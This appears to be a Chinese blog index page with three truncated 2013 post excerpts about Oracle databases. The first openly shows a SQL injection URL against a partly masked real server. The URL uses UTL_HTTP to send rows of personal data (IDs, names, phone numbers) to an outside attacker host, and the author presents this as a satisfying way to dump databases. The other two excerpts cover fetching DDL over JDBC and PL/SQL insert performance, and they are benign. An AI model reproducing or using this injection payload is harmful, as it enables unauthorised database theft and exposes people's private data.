2013-11-28 15:03:55

Oracle UTL_HTTP 注入点友情备份数据库

很多人只听说过用UTL_HTTP注入Oracle,似乎没看见有人用UTL_HTTP脱裤? UTL_HTTP 会查询数据库并带着查询的结果去请求我们的URL,也就是我注入点上写的URL。请注意:UTL_HTTP是一条一条的去请求的,所以会跟数据库保持一个长连接。而数据量过大的话会导致数据丢失,如果想完整的友情备份这种方法并不是特别可行。 只有在浏览器上请求这个注入点Oracle会自动的把自己的裤子送上门来那种感觉非常的好。 Oracle: http://60.xxx.xx.131/xxx/aao_66/index.jsp?fid=1+and+'1'in(SELECT+UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?data='||ID||'----'||USERID||'----'||NAME||'----'||RELATION||'----'||OCCUPATION||'----'||POSITION||'----'||ASSN||UNIT||'----'||'----'||TEL)+FROM+STU_HOME) 接收: <

2013-11-28 14:58:24

Oracle JDBC获取DDL

在Oracle的console获取DDL语句: SET LONG 2000000 SET PAGESIZE 0 EXECUTE DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM,'STORAGE',false); select dbms_metadata.GET_DDL(u.object_type,u.object_name,'SCOTT') from dba_objects u where owner = 'SCOTT';  这查询一旦搬到JDBC就会出问题,原因是查询出来的是Clob而非String 所以需要把Clob转换成String。 String clobToString(Clob clob) { try { // 以 java.io.Reader 对象形式(或字符流形式) //检索此 Clob 对象指定的 CLOB 值 --Clob的转换 Reader inStreamDoc = clob.getCharacterStream(); // 取得clob的长度 char[] tempDoc = new char[(int) clob.length()]; inStreamDoc.read(te

2013-07-13 15:59:41

《收获,不止oracle》单车到飞船

各种插入数据方法性能比较,来自《收获,不止oracle》,嘿嘿。。 1.单车速度: create or replace procedure hr_pr1 as begin for i in 1 .. 100000 loop execute immediate 'insert into test values('||i||')'; commit; end loop; end; HR >set autotrace on; HR >exec hr_pr1; PL/SQL proceduresuccessfully completed. Elapsed: 00:01:21.15 select sql_text,sql_id,parse_calls,executions from v$sql where sql_text like 'insert into test%'; SQL_TEXT |SQL_ID |PARSE_CALLS|EXECUTIONS ----------------------------------------|-------------|-----------|---------- insert